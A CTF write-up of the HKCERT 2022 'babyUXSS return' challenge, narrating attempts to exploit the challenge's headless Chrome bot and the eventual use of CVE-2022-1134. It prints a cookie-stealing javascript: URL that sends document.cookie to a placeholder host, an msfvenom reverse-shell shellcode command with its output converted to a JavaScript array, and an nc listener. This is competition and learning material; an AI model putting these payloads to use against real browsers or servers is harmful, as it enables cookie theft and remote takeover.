Try   HackMD

HKCERT CTF 2022 babyUXSS return (富康街寵物公園)

Almost (i.e. not) solved by O0056 - T0003 (2022) @ TWY’s Temple in the time of the competition.

This is an up-solving writeup and a grumble on how close I was during the competition.

Details

Author: darkfloyd & ken
Category: pwn
Difficulty: ★★★☆☆
Description:

CTF player must know how to UXSS again. (奪旗賽玩家肯定識點樣通用跨網站指令碼架啦又)

[host:port]

Hints (2022-11-13 00:00):

  1. Notice the category is not web (望清楚個category 😃)
  2. https://www.youtube.com/watch?v=OetPbkia3os

(300 points, 0 solves) as of the end of the competition

No attachment was provided.

TL;DR

CVE-2022-1134
https://github.blog/2022-06-29-the-chromium-super-inline-cache-type-confusion/

Walkthrough

Opening the webpage, we see a setup looks similar to typical bot (crawler) for web XSS challenges in CTFs (well it already has the name XSS in the title), which asks for a URL for it to visit.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Noticing that the challenge is a reference to one of the challenges in HKCERT CTF 2021, babyUXSS, I thought perhaps we can banter with last year's payload (or in general a payload to test if the XSS bot is poorly designed) which abuses malformed URL.

javascript:location.href='your_bin?z='+document.cookie

What is UXSS? According to Acuentix:

UXSS preserves the basic XSS traits: exploit a vulnerability, execute malicious code, however there is a major difference:

Unlike the common XSS attacks, UXSS is a type of attack that exploits client-side vulnerabilities in the browser or browser extensions in order to generate an XSS condition, and execute malicious code. When such vulnerabilities are found and exploited, the behavior of the browser is affected and its security features may be bypassed or disabled.

In short, pwning your browser with a webpage. Simple? I don't think so. But Ken does.

Standing up to my expectation, my script was not executed and I was greeted with an error message.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Confirming that this is a pwn challenge, I turned my attention to browser pwn, so I sent it a normal URL and hoped if I can find something interesting in the header.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The user-agent header caught my interest. It is a header that provides information of the requesting machine such as application, OS, vendor and/or their respective versions.

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36

We can see the browser the bot is running is Chrome 99.0.4844.51 and it's being served on Linux systems.

How do I know it's Chrome when there are so many browsers/platforms mentioned in user-agent?

You can check it out at
https://security.stackexchange.com/questions/126407/why-does-chrome-send-four-browsers-in-the-user-agent-header

As this challenge being a reference to babyUXSS, the following part will complement on why I am so sure it is Chrome.

It doesn't hurt to check the setup of the bot in the original babyUXSS.

def visit(url, chal): chrome_options = webdriver.ChromeOptions() chrome_options.add_argument("--disable-gpu") chrome_options.add_argument("--headless") chrome_options.add_argument("--no-sandbox") driver = webdriver.Chrome(options=chrome_options) try: driver.get("http://"+chals[chal]["domain"]+"/robots.txt?url="+quote_plus(url)) driver.add_cookie({"name": "flag", "value": chals[chal]["flag"]}) driver.get("about:blank") driver.get(url) time.sleep(chals[chal]["sleep"]) return "Your URL has been visited by the "+chal+" bot."; except Exception as e: print(url, flush=True) print(chal, flush=True) print(e, flush=True) return "The "+chal+" bot did not handle your URL properly." finally: driver.quit()

The implementation of the visit function reinforces my guess on the bot being run on Chrome and with reference to the second hint, I was certain that this is a browser pwn challenge exploiting Chrome 99.0.4844.51.

https://peter.sh/experiments/chromium-command-line-switches/ provides a comprehensive list of command line flags for us to reference.

--disable-gpu: Disables GPU hardware acceleration. If software renderer is not in place, then the GPU process won't launch.

--headless: Run in headless mode, i.e., without a UI or display server dependencies.

--no-sandbox: Disables the sandbox for all process types that are normally sandboxed. Meant to be used as a browser-level switch for testing purposes only.

Due to it not being a 5-star challenge and the Chrome version is relatively old (current version: 107.0.5304), I thought we were not asked to exploit a 0-day or a CVE with no public exploits (i.e. you need to buy it from someone), but the Google search engine disappointed me.

Noticing the switch --no-sandbox, I looked for exploits that required --no-sandbox to be succuessfully run. It is more likely to have a script online because it is easier to fuzz as no sandbox escape is needed.

You can check your Chrome's sandbox status by visiting chrome://sandbox

Searching on Google, the first CVE I came accross with is CVE-2020-6418 (ref: https://www.cnblogs.com/Rain99-/p/14673789.html).

Although if you read the referenced blog, you can see it says the payload only works on Chrome < 80.0.3987.122, it also says in actual testing the payload also affects Chrome 90. Despite knowing the chance of success was very small, I still tried this exploit.

As I am not a proficient pwn player, I can't explain much on the detail of the vulnerability. In short, the script lets you write arbitrary shellcode into the corrupted memory and executes it.

Following the guide in the blog, we can generate shellcode which gives us a reverse shell when executed with the following command (on Kali Linux/or any distros if you have installed the Metasploit framework):

msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Your host] LPORT=[Your port] -f c

where -f c means outputting the shellcode in C language.

We will then get an output similar to this:

unsigned char buf[] = "\xaa\x02\x00\x11\x5c\x12\xb5\xc1\x6b\x51\x48\x89\xe6\x6a\x10" "\x5a\x6a\xff\x58\x0f\x05\x6f\x03\x5e\x48\xff\xce\x6a\x21\x58" "\x0f\x05\x75\xf6\x9b\x3b\x58\x99\x48\xbb\x2f\xce\x69\x6e\x2f" "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\x43\x0f\x05";

We can change the shellcode to be compatible with JavaScript by removing " and \n and replacing \ with ,0. After conversion, we will have a number array looking like this:

var shellcode = [0xaa,0x02,0x00,0x11,0x5c,0x12,0xb5,0xc1,0x6b,0x51,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x6a,0xff,0x58,0x0f,0x05,0x6f,0x03,0x5e,0x48,0xff,0xce,0x6a,0x21,0x58,0x0f,0x05,0x75,0xf6,0x9b,0x3b,0x58,0x99,0x48,0xbb,0x2f,0xce,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x52,0x57,0x48,0x89,0x43,0x0f,0x05];

Then we replace the content of the variable shellcode in the script with the one we crafted.

Because of the fact that this bug has been already patched in versions <= 99.0.4844.51, this attempt was of course in vain.

Then I came across with another exploit: https://www.adminxe.com/2204.html, which was also not successful.

After several many fucking hours of googling, I was to no successful attempt of fiding the correct CVE (there exists some type confusion exploits but with no poc script), and at that moment (around 2022/11/13 12:00:00 UTC+8) I had to surrender because I need to leave my home. I passed it to my teammates and unfortunately they were to no avail by the end of the comepetition.

Postmortem

A quote from one of my teammates speaking my mind:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Translating to:
It takes a serendipity to google.
I am not meant to meet the poc.

After the comepetition ends, one of the authors Ken revealed that the actual CVE number is CVE-2022-1134, which Man Yue Mo has written a brilliant blog explaining the vulnerability in great details (refer to TL;DR for the link).

Interesting enough, the exploit must be served through HTTPS as DeviceMotionEvent is restricted to secure browsing context (ref: https://chromestatus.com/feature/5688035094036480) and it cannot be run in headless browsers (which according to Ken not having this part of knowledge doesn't affect solving), so I served my script with the crafted shellcode on Pipedream.

We configure the Pipedream worker as such:

where we paste the script into the response body.

On our server, we can expose the socket that we input when generating the shellcode with msfvenom with Netcat service (nc/ncat/nc64.exe). In my case hosting an Ubuntu server and generating the shellcode with port 4444, I used the command

nc -nlvp 4444

which you can get an explanation of the command at https://www.explainshell.com/explain?cmd=nc±nlvp+4444

We send the URL to the bot and in no time, voilà, we received a shell and we now have control over the server.

一支flag買教訓:以後唔好隨便比人請你飲咖啡

I don't agree it's a 3-star challenge. That's all.